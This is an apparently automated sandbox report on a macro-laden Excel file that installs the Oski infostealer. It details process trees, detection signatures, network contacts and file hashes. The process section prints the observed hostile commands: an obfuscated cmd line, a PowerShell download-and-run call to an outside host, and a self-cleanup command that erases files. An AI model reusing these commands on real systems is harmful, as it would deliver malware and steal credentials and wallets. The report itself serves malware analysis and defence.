Malware Analysis Report

2025-06-16 03:09

Sample ID 210805-1ptw27jdv6
Target fileattached.xlsm
SHA256 436651743894169dc9cd4c7ef01734420a5ce2d6dcaf57825197e0c756feeee9
Tags
macro xlm oski infostealer spyware suricata
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

436651743894169dc9cd4c7ef01734420a5ce2d6dcaf57825197e0c756feeee9

Threat Level: Known bad

The file fileattached.xlsm was found to be: Known bad.

Malicious Activity Summary

macro xlm oski infostealer spyware suricata

Oski

Process spawned unexpected child process

suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

Executes dropped EXE

Blocklisted process makes network request

Downloads MZ/PE file

Suspicious Office macro

Loads dropped DLL

Uses the VBS compiler for execution

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

An obfuscated cmd.exe command-line is typically used to evade detection.

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Kills process with taskkill

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-08-05 18:27

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-08-05 18:27

Reported

2021-08-05 18:30

Platform

win7v20210410

Max time kernel

101s

Max time network

100s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm

Signatures

Oski

infostealer oski

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

suricata

suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

suricata

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe N/A

Uses the VBS compiler for execution

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1000 set thread context of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1060 wrote to memory of 1716 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 1060 wrote to memory of 1716 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 1060 wrote to memory of 1716 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 1060 wrote to memory of 1716 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 1060 wrote to memory of 816 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1060 wrote to memory of 816 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1060 wrote to memory of 816 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1060 wrote to memory of 816 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1716 wrote to memory of 1508 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1716 wrote to memory of 1508 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1716 wrote to memory of 1508 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1716 wrote to memory of 1508 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1000 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 1508 wrote to memory of 1000 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 1508 wrote to memory of 1000 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 1508 wrote to memory of 1000 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1000 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1976 wrote to memory of 1852 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1852 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1852 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1852 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\cmd.exe
PID 1852 wrote to memory of 1836 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1852 wrote to memory of 1836 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1852 wrote to memory of 1836 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1852 wrote to memory of 1836 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm

C:\Windows\SysWOW64\cmd.exe

cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\zJAMC.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/bij0o',$env:Temp+'\zJAMC.exe')

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

"C:\Users\Admin\AppData\Local\Temp\zJAMC.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill /pid 1976 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe & RD /S /Q C:\\ProgramData\\863405627395110\\* & exit

C:\Windows\SysWOW64\taskkill.exe

taskkill /pid 1976

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 iurl.vip udp
N/A 43.241.252.216:80 iurl.vip tcp
N/A 8.8.8.8:53 cdn.discordapp.com udp
N/A 162.159.133.233:443 cdn.discordapp.com tcp
N/A 162.159.133.233:443 cdn.discordapp.com tcp
N/A 8.8.8.8:53 notedemo.axfree.com udp
N/A 144.76.115.36:80 notedemo.axfree.com tcp

Files

memory/1060-59-0x000000002FE81000-0x000000002FE84000-memory.dmp

memory/1060-60-0x0000000070E41000-0x0000000070E43000-memory.dmp

memory/1060-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1716-62-0x0000000000000000-mapping.dmp

memory/816-63-0x0000000000000000-mapping.dmp

memory/816-64-0x00000000752B1000-0x00000000752B3000-memory.dmp

memory/1508-65-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 099eb97a0e2694f37e6c2b1160f88667
SHA1 5171f3f9b2d0b1cfba3196c01afd6d22bc7ceecf
SHA256 3a27be41f0a753d595a1680e653f4ea4e570c3a60e79d650000f2920fab39973
SHA512 539a1c474658f24b5b1595cedfd53648002f45689cf98b775e49bb01151b5be333eedefb23a78747d65c986031e2db62265285d361dd7061b54b12269660542a

memory/1508-68-0x00000000009D0000-0x00000000009D1000-memory.dmp

memory/816-70-0x0000000004A60000-0x0000000004A61000-memory.dmp

memory/816-73-0x0000000004A20000-0x0000000004A21000-memory.dmp

memory/816-74-0x0000000004A22000-0x0000000004A23000-memory.dmp

memory/1508-75-0x00000000048E2000-0x00000000048E3000-memory.dmp

memory/1508-72-0x00000000048E0000-0x00000000048E1000-memory.dmp

memory/1508-76-0x0000000002540000-0x0000000002541000-memory.dmp

memory/1508-78-0x0000000005240000-0x0000000005241000-memory.dmp

memory/1508-82-0x00000000056B0000-0x00000000056B1000-memory.dmp

memory/1508-87-0x0000000005700000-0x0000000005701000-memory.dmp

memory/1508-88-0x0000000006170000-0x0000000006171000-memory.dmp

memory/1508-95-0x0000000006240000-0x0000000006241000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 9cf8a39315cfe409891304e3df3fc94d
SHA1 9345ea68e978ecee1e2b44695a29f79ab6b1ae8d
SHA256 901f5d0d17ca3414a1623ace30cad7fc79173ceb45885c551060d9137b5b04bd
SHA512 61c6d0f35e7fcbff2351deb038f72a26e78c1125de5b755a416317434bbede23128e5ec37f8510e8ac934439d5ded382ad8234d481cfa3210738eda5209b261a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9

MD5 b6d38f250ccc9003dd70efd3b778117f
SHA1 d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA256 4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA512 67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba

MD5 75a8da7754349b38d64c87c938545b1b
SHA1 5c28c257d51f1c1587e29164cc03ea880c21b417
SHA256 bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512 798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b

MD5 df44874327d79bd75e4264cb8dc01811
SHA1 1396b06debed65ea93c24998d244edebd3c0209d
SHA256 55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA512 95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370

MD5 be4d72095faf84233ac17b94744f7084
SHA1 cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256 b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA512 43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5

MD5 02ff38ac870de39782aeee04d7b48231
SHA1 0390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256 fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA512 24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

memory/1508-103-0x00000000062E0000-0x00000000062E1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598

MD5 5e3c7184a75d42dda1a83606a45001d8
SHA1 94ca15637721d88f30eb4b6220b805c5be0360ed
SHA256 8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512 fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 19b7af422c3399927911ca89013a7a5d
SHA1 82a37f8b3698cf77820aef65f754e602cb1a3f88
SHA256 57e112801a3dd46405fa0a087f356c79cfa6d11b4838d3b0f3cfe666903c5e25
SHA512 5623d2d494566c3760229810661e1e2db112cec85161ec2270d10f958421282d57b3c156160eb3bcfd8c63f4c0598c7aaa00dd0fa4e8138d033fd8a45a9680c5

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c

MD5 a725bb9fafcf91f3c6b7861a2bde6db2
SHA1 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA256 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA512 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb

MD5 597009ea0430a463753e0f5b1d1a249e
SHA1 4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62
SHA256 3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d
SHA512 5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

memory/1508-108-0x000000007EF30000-0x000000007EF31000-memory.dmp

\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

memory/1000-112-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

memory/1000-115-0x0000000000B60000-0x0000000000B61000-memory.dmp

memory/1000-118-0x00000000004E0000-0x00000000004E1000-memory.dmp

memory/1000-119-0x00000000004A0000-0x00000000004A5000-memory.dmp

memory/1976-120-0x0000000000400000-0x0000000000438000-memory.dmp

memory/1976-121-0x000000000040717B-mapping.dmp

memory/1976-123-0x0000000000400000-0x0000000000438000-memory.dmp

\ProgramData\sqlite3.dll

MD5 e477a96c8f2b18d6b5c27bde49c990bf
SHA1 e980c9bf41330d1e5bd04556db4646a0210f7409
SHA256 16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660
SHA512 335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

\ProgramData\nss3.dll

MD5 bfac4e3c5908856ba17d41edcd455a51
SHA1 8eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256 e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA512 2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

\ProgramData\mozglue.dll

MD5 8f73c08a9660691143661bf7332c3c27
SHA1 37fa65dd737c50fda710fdbde89e51374d0c204a
SHA256 3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd
SHA512 0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

\ProgramData\msvcp140.dll

MD5 109f0f02fd37c84bfc7508d4227d7ed5
SHA1 ef7420141bb15ac334d3964082361a460bfdb975
SHA256 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
SHA512 46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

\ProgramData\vcruntime140.dll

MD5 7587bf9cb4147022cd5681b015183046
SHA1 f2106306a8f6f0da5afb7fc765cfa0757ad5a628
SHA256 c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
SHA512 0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

memory/1852-129-0x0000000000000000-mapping.dmp

memory/1836-130-0x0000000000000000-mapping.dmp

memory/1060-131-0x000000005FFF0000-0x0000000060000000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2021-08-05 18:27

Reported

2021-08-05 18:29

Platform

win10v20210408

Max time kernel

109s

Max time network

141s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe N/A

Uses the VBS compiler for execution

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\cmd.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3716 wrote to memory of 3832 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3716 wrote to memory of 3832 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3716 wrote to memory of 3896 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3716 wrote to memory of 3896 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
